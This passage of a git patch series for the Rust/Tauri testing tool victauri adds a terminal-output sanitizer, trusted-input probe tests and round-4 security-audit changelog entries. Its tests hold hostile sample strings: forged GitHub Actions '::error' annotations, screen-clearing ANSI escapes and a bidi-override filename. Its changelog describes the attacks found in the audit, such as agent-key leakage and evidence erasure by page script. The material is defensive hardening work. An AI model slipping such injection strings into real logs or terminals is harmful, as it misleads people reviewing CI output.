another_accounts_live_process_is_not_ours() { assert!(!is_own_live_process(4)); + let l = liveness(4); + assert!( + !l.is_dead(), + "a live process must never read as dead: {l:?}" + ); + assert_ne!(l, Liveness::Own); + } + + /// R4-DISC1: with no `kill` binary at all (NixOS/Guix/minimal containers), a live PID + /// must still read as live — via the shell builtin, then `/proc`, else "unknown" — and + /// never as dead. + #[cfg(unix)] + #[test] + fn a_missing_kill_binary_never_makes_a_live_pid_dead() { + use std::path::Path; + let me = std::process::id(); + let no_kill = &["/nonexistent/victauri/kill"][..]; + let no_sh = &["/nonexistent/victauri/sh"][..]; + let no_proc = Path::new("/nonexistent/victauri/proc"); + + // Shell builtin fallback. + assert_eq!( + imp::liveness_with(me, no_kill, &["/bin/sh"], no_proc), + Liveness::Own + ); + // procfs fallback (Linux). + if Path::new("/proc/self").exists() { + assert_eq!( + imp::liveness_with(me, no_kill, no_sh, Path::new("/proc")), + Liveness::Own + ); + } + // Nothing works: unknown, not dead. + let l = imp::liveness_with(me, no_kill, no_sh, no_proc); + assert_eq!(l, Liveness::Unknown); + assert!(!l.is_dead()); + } + + #[cfg(unix)] + #[test] + fn out_of_range_pids_are_never_signalled() { + // `kill -0 -1` would "succeed" (every process we may signal). + assert!(liveness(u32::MAX).is_dead()); + assert!(liveness(0).is_dead()); } } From ede95ec9f52d5d4646e0efc37a8f2f85ced22c1a Mon Sep 17 00:00:00 2001 From: antony Date: Mon, 28 Sep 2026 22:43:33 +1000 Subject: [PATCH 076/167] fix(victauri-test): page text in the smoke summary cannot drive the terminal or forge CI annotations (R4-TERM1) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Adds `victauri_test::terminal::{single_line, multi_line}`, which render C0/C1 controls, DEL and bidi overrides as visible escapes (single_line also escapes CR/LF/TAB). `SmokeReport::to_summary`, `assert_all_passed` and the uncaught-error detail now pass check names and details through it, so a console message like "x\n::error file=…::forged" can no longer start a GitHub Actions workflow command line in `victauri test` output, and ANSI escapes are shown, not run. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_018pb3JpJchvYeFMN32yBJmr --- crates/victauri-test/src/lib.rs | 2 + crates/victauri-test/src/smoke.rs | 47 +++++++++++-- crates/victauri-test/src/terminal.rs | 100 +++++++++++++++++++++++++++ 3 files changed, 145 insertions(+), 4 deletions(-) create mode 100644 crates/victauri-test/src/terminal.rs diff --git a/crates/victauri-test/src/lib.rs b/crates/victauri-test/src/lib.rs index 3e4bc031..e37b5eab 100644 --- a/crates/victauri-test/src/lib.rs +++ b/crates/victauri-test/src/lib.rs @@ -48,6 +48,8 @@ pub mod prelude; pub mod process; pub mod reporting; pub mod smoke; +#[doc(hidden)] +pub mod terminal; pub mod visual; pub use app::TestApp; diff --git a/crates/victauri-test/src/smoke.rs b/crates/victauri-test/src/smoke.rs index 1d94428c..0887bbfb 100644 --- a/crates/victauri-test/src/smoke.rs +++ b/crates/victauri-test/src/smoke.rs @@ -106,7 +106,14 @@ impl SmokeReport { .failures() .iter() .enumerate() - .map(|(i, f)| format!(" {}. {} — {}", i + 1, f.name, f.detail)) + .map(|(i, f)| { + format!( + " {}. {} — {}", + i + 1, + crate::terminal::single_line(&f.name), + crate::terminal::single_line(&f.detail) + ) + }) .collect(); panic!( "smoke_test failed ({}/{} passed):\n{}", @@ -133,6 +140,11 @@ impl SmokeReport { } /// Formats as a human-readable summary. + /// + /// Check names and failure details are rendered on ONE line each with every control + /// character escaped: details can carry page-controlled text (console / uncaught-error + /// messages), and a raw newline followed by `::error` would otherwise become a forged + /// GitHub Actions annotation in a CI log (R4-TERM1). #[must_use] pub fn to_summary(&self) -> String { let mut out = String::with_capacity(1024); @@ -146,11 +158,14 @@ impl SmokeReport { let status = if check.passed { "PASS" } else { "FAIL" }; out.push_str(&format!( " [{status}] {} ({:.0}ms)\n", - check.name, + crate::terminal::single_line(&check.name), check.duration.as_millis(), )); if !check.passed && !check.detail.is_empty() { - out.push_str(&format!(" {}\n", check.detail)); + out.push_str(&format!( + " {}\n", + crate::terminal::single_line(&check.detail) + )); } } out @@ -366,10 +381,11 @@ impl VictauriClient { return Err(TestError::Assertion(format!( "{} uncaught error(s): {}", uncaught.len(), + // Page-controlled text: never carry raw control characters onward. uncaught .iter() .take(3) - .copied() + .map(|msg| crate::terminal::single_line(msg)) .collect::>() .join("; ") ))); @@ -683,4 +699,27 @@ mod tests { assert_eq!(failures[0].name, "bad1"); assert_eq!(failures[1].name, "bad2"); } + + // ── R4-TERM1: page-controlled text in the summary ── + + #[test] + fn page_text_cannot_forge_ci_annotations_in_the_summary() { + let report = SmokeReport { + checks: vec![SmokeCheckResult { + name: "no uncaught errors".to_string(), + passed: false, + detail: + "1 uncaught error(s): [uncaught] x\n::error file=src/main.rs::forged\u{1b}[2J" + .to_string(), + duration: Duration::from_millis(1), + }], + duration: Duration::from_millis(1), + }; + let summary = report.to_summary(); + assert!( + !summary.lines().any(|l| l.trim_start().starts_with("::")), + "a page-controlled line became a GitHub workflow command:\n{summary}" + ); + assert!(!summary.contains('\u{1b}'), "raw ESC reached the terminal"); + } } diff --git a/crates/victauri-test/src/terminal.rs b/crates/victauri-test/src/terminal.rs new file mode 100644 index 00000000..833ed044 --- /dev/null +++ b/crates/victauri-test/src/terminal.rs @@ -0,0 +1,100 @@ +//! Neutralize untrusted text before it reaches a terminal or a CI log. +//! +//! Page-controlled strings (console messages, uncaught-error text, IPC command names) and +//! project-controlled strings (`tauri.conf.json` identifiers, capability window labels, file +//! names) are printed by `victauri check` / `test` / `doctor` / `init`. Raw control characters +//! in them can move the cursor, recolor or erase output (ANSI escapes), or — on CI — start a +//! new line reading `::error ...` that GitHub Actions turns into a forged annotation +//! (round-4 audit R4-TERM1). These helpers render every such character visibly instead. + +use std::fmt::Write; + +/// Bidirectional-override and isolate controls, which reorder how the surrounding text is +/// displayed ("trojan source") without being control characters in the C0/C1 sense. +fn is_bidi_control(c: char) -> bool { + matches!( + c, + '\u{061C}' | '\u{200E}' | '\u{200F}' | '\u{202A}'..='\u{202E}' | '\u{2066}'..='\u{2069}' + ) +} + +fn push_escaped(out: &mut String, c: char) { + let _ = write!(out, "\\u{{{:x}}}", u32::from(c)); +} + +/// For a single-line context (a summary row, a log line): every control character — +/// including CR and LF — and every bidi control becomes a visible escape (`\n`, `\r`, `\t`, +/// `\u{1b}`, …), so the text can neither break onto a new line nor drive the terminal. +#[must_use] +pub fn single_line(text: &str) -> String { + let mut out = String::with_capacity(text.len()); + for c in text.chars() { + match c { + '\n' => out.push_str("\\n"), + '\r' => out.push_str("\\r"), + '\t' => out.push_str("\\t"), + c if c.is_control() || is_bidi_control(c) => push_escaped(&mut out, c), + c => out.push(c), + } + } + out +} + +/// For an intentionally multi-line block: line breaks (`\n`, and `\r\n` normalized to it) +/// and tabs are kept; a lone `\r` and every other control or bidi character becomes a +/// visible escape. +#[must_use] +pub fn multi_line(text: &str) -> String { + let text = text.replace("\r\n", "\n"); + let mut out = String::with_capacity(text.len()); + for c in text.chars() { + match c { + '\n' | '\t' => out.push(c), + '\r' => out.push_str("\\r"), + c if c.is_control() || is_bidi_control(c) => push_escaped(&mut out, c), + c => out.push(c), + } + } + out +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn single_line_cannot_start_a_forged_ci_annotation() { + let hostile = "boom\n::error file=x.rs::forged\r\n::warning::also"; + let safe = single_line(hostile); + assert!(!safe.contains('\n') && !safe.contains('\r'), "{safe}"); + assert_eq!( + safe, + "boom\\n::error file=x.rs::forged\\r\\n::warning::also" + ); + } + + #[test] + fn ansi_escapes_and_c1_controls_are_rendered_visibly() { + let safe = single_line("red\u{1b}[31mX\u{1b}[2J\u{7f}\u{9b}"); + assert!(!safe.chars().any(char::is_control), "{safe:?}"); + assert_eq!(safe, "red\\u{1b}[31mX\\u{1b}[2J\\u{7f}\\u{9b}"); + } + + #[test] + fn bidi_overrides_are_escaped() { + let safe = single_line("admin\u{202E}txt.exe"); + assert_eq!(safe, "admin\\u{202e}txt.exe"); + } + + #[test] + fn plain_text_is_unchanged() { + let text = "com.example.app (port 7374) — ok, ünïcödé"; + assert_eq!(single_line(text), text); + assert_eq!(multi_line(text), text); + } + + #[test] + fn multi_line_keeps_line_breaks_only() { + assert_eq!(multi_line("a\r\nb\n\tc\rd\u{1b}e"), "a\nb\n\tc\\rd\\u{1b}e"); + } +} From 75dfe2df3e1fcc7ccf522fd8ebef5fc43eba2ff7 Mon Sep 17 00:00:00 2001 From: antony Date: Mon, 28 Sep 2026 22:43:36 +1000 Subject: [PATCH 077/167] fix(victauri-test): Locator check()/uncheck() work on ARIA checkboxes and switches (B-L9) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `check()` read only `el.checked`, which is undefined on an ARIA checkbox (` - -
    cover
    -
    - "#; - - /// A hit-test for jsdom (which has no layout): the element under any point is `#btn`, - /// unless a case replaces `window.__hit`. - const HIT_TEST: &str = "window.__hit = function (doc) { \ - return doc.getElementById('btn') || doc.body; }; \ - document.elementFromPoint = function (x, y) { \ - return window.__hit(document, x, y); };"; - - /// R4-IN2: the trusted-click probe takes coordinates from page-controlled layout, so it - /// must refuse a point that is off-screen, covered or on a disabled element (the OS click - /// would land on something else), and must add a same-origin frame's offset. - #[test] - fn click_probe_refuses_unclickable_points_and_offsets_frames() { - let probe = trusted_click_probe_js("__VREF__"); - let off_screen = format!( - "{HIT_TEST} var b = document.getElementById('btn'); \ - b.getBoundingClientRect = function () {{ return {{left: 5000, top: 10, \ - width: 80, height: 32, right: 5080, bottom: 42, x: 5000, y: 10}}; }};" - ); - let covered = format!( - "{HIT_TEST} window.__hit = function (doc) {{ return doc.getElementById('cover'); }};" - ); - let in_frame = "var f = document.createElement('iframe'); \ - document.getElementById('frame-host').appendChild(f); \ - var fw = f.contentWindow, fd = f.contentDocument; \ - fd.body.innerHTML = ''; \ - var baseRect = window.HTMLElement.prototype.getBoundingClientRect; \ - fw.HTMLElement.prototype.getBoundingClientRect = baseRect; \ - fw.HTMLElement.prototype.scrollIntoView = function () {}; \ - window.HTMLElement.prototype.getBoundingClientRect = function () { \ - if (this.tagName === 'IFRAME') return {left: 100, top: 200, width: 300, \ - height: 150, right: 400, bottom: 350, x: 100, y: 200}; \ - return baseRect.call(this); }; \ - fd.elementFromPoint = function () { return fd.getElementById('inner'); }; \ - document.elementFromPoint = function () { return f; };"; - let Some(results) = run(&[ - ( - "visible button", - PAGE, - HIT_TEST, - "{css:'#btn'}", - probe.clone(), - ), - ( - "button laid out off-screen", - PAGE, - &off_screen, - "{css:'#btn'}", - probe.clone(), - ), - ( - "button covered by another element", - PAGE, - &covered, - "{css:'#btn'}", - probe.clone(), - ), - ( - "disabled button", - PAGE, - HIT_TEST, - "{css:'#off'}", - probe.clone(), - ), - ( - "button in a same-origin iframe", - PAGE, - in_frame, - "{tag:'button', text:'In frame'}", - probe.clone(), - ), - ]) else { - return; - }; - // jsdom's stub lays every BUTTON out at (10,10) 80×32: center (50, 26). - assert_eq!(results[0]["x"], 50.0, "{}", results[0]); - assert_eq!(results[0]["y"], 26.0, "{}", results[0]); - for (i, why) in [(1, "off-screen"), (2, "covered"), (3, "disabled")] { - assert!( - results[i]["error"].is_string() && results[i].get("x").is_none(), - "{why}: {}", - results[i] - ); - } - // Frame content origin (100, 200) + the button's center inside the frame (50, 26). - assert_eq!(results[4]["x"], 150.0, "{}", results[4]); - assert_eq!(results[4]["y"], 226.0, "{}", results[4]); - } -} diff --git a/crates/victauri-plugin/src/mcp/mod.rs b/crates/victauri-plugin/src/mcp/mod.rs index a1a2b9db..1bb65d6f 100644 --- a/crates/victauri-plugin/src/mcp/mod.rs +++ b/crates/victauri-plugin/src/mcp/mod.rs @@ -46,8 +46,7 @@ use helpers::{ RecoveryHint, build_ghost_report, ghost_ipc_outcomes_js, ghost_ipc_projection_js, ipc_catalog_projection_js, ipc_timing_projection_js, ipc_timing_stats, js_string, json_result, json_truthy, merge_command_catalog, missing_param, sanitize_css_color, sanitize_injected_css, - tool_disabled, tool_error, tool_error_with_hint, truncate_at_char_boundary, - trusted_click_probe_js, trusted_focus_probe_js, validate_url, + tool_disabled, tool_error, tool_error_with_hint, truncate_at_char_boundary, validate_url, }; // MCP tool *parameter* types are an internal protocol surface: they are deserialized @@ -58,6 +57,10 @@ use helpers::{ // VictauriMcpHandler) is the public MCP surface consumers actually use. pub(crate) use backend_params::*; pub(crate) use compound_params::*; +/// Page-side probes run before trusted (OS-level) input. Internal: public only so the +/// crate's own integration tests can run them in a JS engine. Not part of the supported API. +#[doc(hidden)] +pub use helpers::{trusted_click_probe_js, trusted_focus_probe_js}; pub(crate) use introspection_params::*; pub(crate) use other_params::{ AppStateParams, DiagnosticsParams, FindElementsParams, ResolveCommandParams, diff --git a/crates/victauri-plugin/tests/trusted_input_probes.rs b/crates/victauri-plugin/tests/trusted_input_probes.rs new file mode 100644 index 00000000..34fc0967 --- /dev/null +++ b/crates/victauri-plugin/tests/trusted_input_probes.rs @@ -0,0 +1,249 @@ +//! The trusted-input probes (R4-IN1 / R4-IN2) run in a real JS engine (jsdom, via the bridge +//! test runner in `tests/bridge_tests/`) against the real bridge script: what they report +//! decides whether OS-level input is sent at all, so their page-side logic is what these +//! tests pin. +//! +//! They live in their own test binary, not the library's unit tests: a child process spawned +//! on Windows inherits the sockets open in the spawning process at that moment, and a +//! seconds-long `node` run then holds another test's server connection open past its close. + +mod trusted_probe_js { + use std::io::Write; + use std::path::PathBuf; + use victauri_plugin::mcp::{trusted_click_probe_js, trusted_focus_probe_js}; + + fn runner_dir() -> PathBuf { + PathBuf::from(env!("CARGO_MANIFEST_DIR")) + .join("tests") + .join("bridge_tests") + } + + /// One case: (name, page html, setup js, `findElements` query for the target, probe). + type Case<'a> = (&'a str, &'a str, &'a str, &'a str, String); + + /// Each probe is built for the placeholder ref `__VREF__` and run after resolving the + /// real ref of the first element the case's query matches. Returns each case's result, + /// or `None` when jsdom is not installed (and nothing requires it). + fn run(cases: &[Case<'_>]) -> Option> { + if !runner_dir().join("node_modules").join("jsdom").exists() { + assert!( + std::env::var_os("CI").is_none() + && std::env::var_os("VICTAURI_REQUIRE_JSDOM").is_none(), + "jsdom is not installed: `npm ci` in crates/victauri-plugin/tests/bridge_tests/" + ); + eprintln!("SKIP: jsdom not installed"); + return None; + } + let tests: Vec = cases + .iter() + .map(|(name, html, setup_js, find_query, probe)| { + let code = format!( + "var __found = window.__VICTAURI__.findElements({find_query}); \ + if (!__found.length) throw new Error('fixture element not found'); \ + var __vref = __found[0].ref_id;\n{}", + probe.replace("\"__VREF__\"", "__vref") + ); + serde_json::json!({ + "name": name, "code": code, + "setup_html": html, "setup_js": setup_js, + }) + }) + .collect(); + let def = serde_json::json!({ + "bridge_script": victauri_plugin::js_bridge::init_script( + &victauri_plugin::js_bridge::BridgeCapacities::default() + ), + "setup_html": "", + "tests": tests, + }); + let mut tmp = tempfile::NamedTempFile::new().unwrap(); + tmp.write_all(def.to_string().as_bytes()).unwrap(); + tmp.flush().unwrap(); + let out = match std::process::Command::new("node") + .arg(runner_dir().join("run_tests.js")) + .arg(tmp.path()) + .output() + { + Ok(out) => out, + Err(e) => { + assert!( + std::env::var_os("CI").is_none() + && std::env::var_os("VICTAURI_REQUIRE_JSDOM").is_none(), + "node could not be run: {e}" + ); + eprintln!("SKIP: node could not be run: {e}"); + return None; + } + }; + let stdout = String::from_utf8_lossy(&out.stdout); + let line = stdout + .lines() + .find_map(|l| l.strip_prefix("VICTAURI_RESULTS:")) + .unwrap_or_else(|| { + panic!( + "no results: {stdout}\n{}", + String::from_utf8_lossy(&out.stderr) + ) + }); + let results: Vec = serde_json::from_str(line).unwrap(); + Some( + results + .into_iter() + .map(|r| { + assert_eq!(r["passed"], true, "{}: {}", r["name"], r["error"]); + r["result"].clone() + }) + .collect(), + ) + } + + const FORM: &str = r#" + + +
    not focusable
    +
    + "#; + + /// R4-IN1: the focus probe must report whether focus LANDED on the element, not + /// whether the element exists — keys go to whatever holds focus. + #[test] + fn focus_probe_reports_where_focus_actually_landed() { + let probe = trusted_focus_probe_js("__VREF__"); + let shadow_setup = "var r = document.getElementById('host').attachShadow({mode:'open'}); \ + r.innerHTML = '';"; + let Some(results) = run(&[ + ( + "plain input", + FORM, + "", + "{placeholder:'target'}", + probe.clone(), + ), + ( + "a focus handler moves focus elsewhere", + FORM, + "document.getElementById('target').addEventListener('focus', function () { \ + document.getElementById('other').focus(); });", + "{placeholder:'target'}", + probe.clone(), + ), + ( + "element that cannot take focus", + FORM, + "", + "{css:'#plain'}", + probe.clone(), + ), + ( + "input inside an open shadow root", + FORM, + shadow_setup, + "{placeholder:'in-shadow'}", + probe.clone(), + ), + ]) else { + return; + }; + let focused = |v: &serde_json::Value| v["focused"] == true && v["found"] == true; + assert!(focused(&results[0]), "plain input: {}", results[0]); + assert!(!focused(&results[1]), "focus moved away: {}", results[1]); + assert_eq!(results[1]["found"], true, "{}", results[1]); + assert!(!focused(&results[2]), "not focusable: {}", results[2]); + assert!(focused(&results[3]), "shadow input: {}", results[3]); + } + + const PAGE: &str = r#" + + +
    cover
    +
    + "#; + + /// A hit-test for jsdom (which has no layout): the element under any point is `#btn`, + /// unless a case replaces `window.__hit`. + const HIT_TEST: &str = "window.__hit = function (doc) { \ + return doc.getElementById('btn') || doc.body; }; \ + document.elementFromPoint = function (x, y) { \ + return window.__hit(document, x, y); };"; + + /// R4-IN2: the trusted-click probe takes coordinates from page-controlled layout, so it + /// must refuse a point that is off-screen, covered or on a disabled element (the OS click + /// would land on something else), and must add a same-origin frame's offset. + #[test] + fn click_probe_refuses_unclickable_points_and_offsets_frames() { + let probe = trusted_click_probe_js("__VREF__"); + let off_screen = format!( + "{HIT_TEST} var b = document.getElementById('btn'); \ + b.getBoundingClientRect = function () {{ return {{left: 5000, top: 10, \ + width: 80, height: 32, right: 5080, bottom: 42, x: 5000, y: 10}}; }};" + ); + let covered = format!( + "{HIT_TEST} window.__hit = function (doc) {{ return doc.getElementById('cover'); }};" + ); + let in_frame = "var f = document.createElement('iframe'); \ + document.getElementById('frame-host').appendChild(f); \ + var fw = f.contentWindow, fd = f.contentDocument; \ + fd.body.innerHTML = ''; \ + var baseRect = window.HTMLElement.prototype.getBoundingClientRect; \ + fw.HTMLElement.prototype.getBoundingClientRect = baseRect; \ + fw.HTMLElement.prototype.scrollIntoView = function () {}; \ + window.HTMLElement.prototype.getBoundingClientRect = function () { \ + if (this.tagName === 'IFRAME') return {left: 100, top: 200, width: 300, \ + height: 150, right: 400, bottom: 350, x: 100, y: 200}; \ + return baseRect.call(this); }; \ + fd.elementFromPoint = function () { return fd.getElementById('inner'); }; \ + document.elementFromPoint = function () { return f; };"; + let Some(results) = run(&[ + ( + "visible button", + PAGE, + HIT_TEST, + "{css:'#btn'}", + probe.clone(), + ), + ( + "button laid out off-screen", + PAGE, + &off_screen, + "{css:'#btn'}", + probe.clone(), + ), + ( + "button covered by another element", + PAGE, + &covered, + "{css:'#btn'}", + probe.clone(), + ), + ( + "disabled button", + PAGE, + HIT_TEST, + "{css:'#off'}", + probe.clone(), + ), + ( + "button in a same-origin iframe", + PAGE, + in_frame, + "{tag:'button', text:'In frame'}", + probe.clone(), + ), + ]) else { + return; + }; + // jsdom's stub lays every BUTTON out at (10,10) 80×32: center (50, 26). + assert_eq!(results[0]["x"], 50.0, "{}", results[0]); + assert_eq!(results[0]["y"], 26.0, "{}", results[0]); + for (i, why) in [(1, "off-screen"), (2, "covered"), (3, "disabled")] { + assert!( + results[i]["error"].is_string() && results[i].get("x").is_none(), + "{why}: {}", + results[i] + ); + } + // Frame content origin (100, 200) + the button's center inside the frame (50, 26). + assert_eq!(results[4]["x"], 150.0, "{}", results[4]); + assert_eq!(results[4]["y"], 226.0, "{}", results[4]); + } +} From 4f56d66a54559461af328117e1cd85c9196ef6bf Mon Sep 17 00:00:00 2001 From: antony Date: Mon, 28 Sep 2026 23:34:16 +1000 Subject: [PATCH 090/167] docs: round-4 CHANGELOG + MIGRATION (and correct four round-3 claims) CHANGELOG gains the round-4 section (findings, compatibility, disproved claims, measured residual) and corrects claims round 4 disproved: page script could read the agent key and forge a reload abort, the auto-return scanner still dropped statements, verification ran on the token's runner, and WebviewBridge gained three (not two) default methods. MIGRATION lists every user-visible round-4 behaviour change; each limit checked in code. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_018pb3JpJchvYeFMN32yBJmr --- CHANGELOG.md | 100 +++++++++++++++++++++++++++++++++++++++++++++++---- MIGRATION.md | 20 +++++++++++ 2 files changed, 114 insertions(+), 6 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 6f3d1226..8ec33797 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,11 +9,12 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [0.9.0] - 2026-09-27 -A correctness-and-hardening release built from three audit rounds: a full-surface review (three +A correctness-and-hardening release built from four audit rounds: a full-surface review (three lenses + a live sweep of 4DA), a five-lens pre-audit red team (auth/network boundary, new-code correctness, data access & injection, supply chain, semver & claim honesty), and a six-lens adversarial audit (network/auth, hostile page, data access, local attacker/CLI, concurrency, -release/supply chain) whose every finding was reproduced before it was fixed. **0.9.0 is a +release/supply chain) whose every finding was reproduced before it was fixed, and a round-4 +adversarial audit + live end-to-end verification (demo, gauntlet, 4DA) of that candidate. **0.9.0 is a deliberate, one-time semver break** (see below and MIGRATION.md) so that future field additions to the data types are never breaking again. (The option/config structs `CodegenOptions`, `SmokeConfig`, `VisualOptions`, `MaskRegion` and the `Junit*` report types deliberately stay @@ -28,9 +29,95 @@ are `#[non_exhaustive]`. Code that *reads* them is unaffected; code that *builds literal uses the new constructors/builders instead (`IpcCall::new`, `WindowState::new(label) .with_*(..)`, `CommandInfo::new(..).with_*(..)`, `AppEvent::console(..)`, …). `#[inspectable]` now expands to those builders, so it keeps working unchanged. Internal-only modules and helpers -(`filmstrip`, `parse_bridge_event_from`, …) are no longer public API. `WebviewBridge` gained two -default-implemented methods (`try_list_window_labels`, `eval_webview_resolved`) and documents that -future additions will always have defaults. +(`filmstrip`, the recording-drain plumbing, …) are no longer public API. `WebviewBridge` gained three +default-implemented methods (`try_get_window_states`, `try_list_window_labels`, +`eval_webview_resolved`) and documents that future additions will always have defaults. + +### Round 4 — adversarial audit + live verification of the 0.9.0 candidate + +Eight red-team lenses (including the CLI/local-attacker lens that never reported in round 3, and a +regression hunt over every round-3 fix) against candidate `43b7561`, then live runs on the demo, +the gauntlet (Windows, real display) and 4DA against its real 1.47 GB database. Every Medium was +reproduced live or in a V8 proof of concept, every fix has a test that failed first, and claims +that did not survive testing are listed under "Disproved" below. No Critical or High. + +**Security / correctness (Medium)** + +- **Page script could still erase the agent's evidence.** A synthetic `pagehide` (the bridge + ignored `isTrusted`) wiped every captured log and switched console + DOM capture off for the + life of the page; recordings then captured 0 events and the smoke suite failed. Only the + browser's own page-transition events are honoured now. +- **The agent key leaked through `Function.caller`** (the round-3 claim that page script cannot + read it was wrong): a page hook on `Array.prototype.filter`, a `then` getter or + `Error.prepareStackTrace` reached the injected snippet holding the key. Agent ops and the eval + plumbing are strict-mode, and a wrapper carrying the key is strict. +- **An unauthenticated `/health` flood made a healthy app look dead**: the bridge's liveness probe + and the watchdog read the 429 as "down" (live: 88k × 429, every agent call "backend not + reachable", watchdog recovery fired). A 429 from `/health` now means alive. +- **`animation scrub capture=true` took screenshots with `screenshot` disabled.** +- **`introspect contract_record` panicked** on any non-ASCII response over 4 KiB. +- **Trusted input** sent real keystrokes when focus had not landed on the element, and a trusted + click used an unchecked page-controlled point (the title bar / close button was reachable). Both + are verified now: focus through shadow roots and frames; actionability, iframe offsets and the + window's client area. +- **Any probe error aborted an eval as "page reloaded"** (the round-3 claim that page script cannot + forge one was wrong), inviting a double-executing retry. Only a positively different page aborts. +- **The `eval_js` auto-return scanner still dropped statements** (the round-3 "never drops a + statement" claim was wrong): a line break inside `/* */`, a lone CR, a line ending in `1.`, and + `of`/`yield` used as names. Differential check against node: 10,793 → 0 divergent of 35,459. +- **`query_db` refused legitimate queries** with `;`, `--` or `/*` inside quotes (`LIKE '%;%'`, + present since 0.8.x), while `SELECT '--'; DELETE …` slipped past the stacked-query check. One + quote-aware lexer now drives every pre-check (the SQLite authorizer remains the security + boundary). +- **Discovery readers deleted live apps' entries** after one failed 100 ms connect, for every PID + where `/bin/kill` is missing (NixOS/Guix/containers), and for an elevated app on Windows. Only a + definitely-dead owner's entry is removed now. +- **A `VICTAURI_AUTH_TOKEN` without a port was sent to whoever held :7373** (a local squatter could + collect it). It is sent only to the live app that owns that token. +- **VS Code "Generate test" pasted page text into Rust source unescaped** (code injection on + `cargo test`); it now escapes like the CLI codegen. +- **Internal plumbing was public API** (`PageLoads`, `DrainWatermarks`, `DrainMark`, `DrainCursor`, + `VictauriState.page_loads`/`drain_watermarks`, `mcp::drain_window_into_recording`); hidden + before the tag, since hiding them later would be another break. +- **Release pipeline:** package verification ran dependency build scripts on the same runner as + the step holding `CARGO_REGISTRY_TOKEN`. It now runs in its own secret-free job; the publish job + compiles nothing. + +**Compatibility** + +- **Apps on rusqlite newer than 0.32 could not add `victauri-plugin` at all** (`links = "sqlite3"` + conflict; current rusqlite is 0.40). The plugin now accepts rusqlite `>=0.32, <0.41`, so cargo + unifies onto the app's own version (verified for apps on 0.40, 0.36, 0.32 and sqlx 0.8). The + security setters whose return types changed across that range fail closed on every version, and + CI tests the newest end. +- Verified against the dependency versions a fresh consumer resolves today (rmcp 3.5.0, + tauri 2.12.0): clippy clean and all functional tests pass. Note: tauri 2.12 needs Rust 1.90, and + its new default `staticVCRuntime` writes an `msvcrt.lib` stub that breaks *other* crates' + doctests in the same Windows workspace (upstream; not a Victauri issue). + +**Fixed (Low)**: resources honour a bare-name tool disable; both inspect action spellings work in +`disable_tools` and unknown names are warned about; `--app` on every CLI command, with exact +matching only (was substring); a clear error naming each app when several are running (was a +silent fallback to :7373 with misleading advice); `invoke_command_with_timeout` in `victauri-test`; +the bridge no longer cuts slow tools off at 120 s; the watchdog no longer logs its recovery +command; page and repo text is sanitized before it reaches terminals and CI logs (no forged +`::error` annotations); `init`/`record` refuse symlinked paths; the generated CLAUDE.md points at +the per-user token root; unpredictable UID-probe names; the fetch/XHR logs record the request +actually made (no planted IPC entries); route delays are clamped and capped; `read_app_file` and +app probes are bounded; page-callable window queries are budgeted; drain-watermark and screencast +races fixed; the main-thread lock stays held while an abandoned closure still runs; fault, +contract and page-load maps are capped; panicked background tasks are reported finished; WGC +capture runs on one COM thread with a bounded wait; `Locator::check()` works on ARIA checkboxes; +`victauri check` lists ghost names; tool-reference, MIGRATION and README corrections. + +**Disproved in round 4** (tested, not defects): eval ids leaking via `.caller` (V8 blocks the +second hop); `PRAGMA quick_check` overrunning its deadline on a 1.47 GB database (3.8 s); discovery +dirs left behind on a clean exit (removed on 0.8.8 and 0.9.0); Windows child processes inheriting +Victauri's sockets (tokio/mio sockets are not inheritable: close seen in µs, port rebindable); +Tauri lacking `#[tauri::command(rename)]` (supported since tauri-macros 2.6). + +**Residual, measured:** a 256-column × 1 MB `query_db` row raises the host's peak memory by +~0.5 GB for that one call (at most two run at once; the result is still capped at 5 MB). ### Security — adversarial audit round 3 (every finding reproduced before its fix) @@ -84,7 +171,8 @@ future additions will always have defaults. `list_app_dir` walked unbounded trees on the async executor. - **Release supply chain:** the crates.io token was in the publish job's environment while every dependency's build script compiled; publishing now verifies tokenlessly and uploads `--no-verify` - from the one step holding the token. `require-ci-green` counts only a push run on `main`. + from the one step holding the token (round 4 moved verification to its own job: the same runner + was still reachable). `require-ci-green` counts only a push run on `main`. ### Fixed — adversarial audit round 3 (correctness) diff --git a/MIGRATION.md b/MIGRATION.md index da690e78..42a1310a 100644 --- a/MIGRATION.md +++ b/MIGRATION.md @@ -94,6 +94,26 @@ implementations, so existing impls compile unchanged — `try_get_window_states` names (`a`, `a:1`), refuses `LIKE`/`GLOB` patterns over 1000 bytes, and answers "busy" when two database calls are already running. "database not found" also covers a path resolving outside the allowed roots. +- **rusqlite**: `victauri-plugin` now accepts rusqlite `>=0.32, <0.41` instead of exactly 0.32, + so an app on a newer rusqlite can add it (cargo unifies onto the app's version). Nothing to do. +- **Discovery (`victauri-test`, CLI):** when several Victauri apps run and nothing selects one, + `VictauriClient::discover()` and the CLI commands return an error naming each app instead of + silently connecting to :7373. Select with `VICTAURI_APP=` (or + `VictauriClient::discover_app(Some(..))`, or `--app` on any CLI command) or `VICTAURI_PORT`. + `victauri bridge --app` matches the identifier exactly (it used to fall back to a substring). +- **`VICTAURI_AUTH_TOKEN` without `VICTAURI_PORT`** is sent only to the running app whose own + discovery token matches it; otherwise the client refuses and asks for `VICTAURI_PORT`. +- `is_alive()` (and the bridge / watchdog health checks) treat a `429` from `/health` as alive. +- Trusted input is refused unless focus actually landed on the element (`type_text`, + `press_key`), or the click point is actionable and inside the window's client area (`click`). +- `route add` refuses `delay_ms` above 120000; `read_app_file` gives up after 15 s and refuses a + non-regular file; at most 4 app-state probes, 4 file reads and 4 page-originated window queries + run at once (the next one is told "busy"). +- `introspect command_timings` has an additive `saturated` flag; `ContractStore::record` returns the + command of a baseline it evicted (`Option`); faults, contract baselines and page-load + records are capped (256 / 1024 / 256). +- New in `victauri-test`: `invoke_command_with_timeout`, `discover_app`, the `terminal` sanitizer + module and `health_status_means_alive`. - The config structs `CodegenOptions`, `SmokeConfig`, `VisualOptions`, `MaskRegion` and the `Junit*` report types stay exhaustive (struct-update syntax keeps working); a field added to one of them later will be called out as a breaking 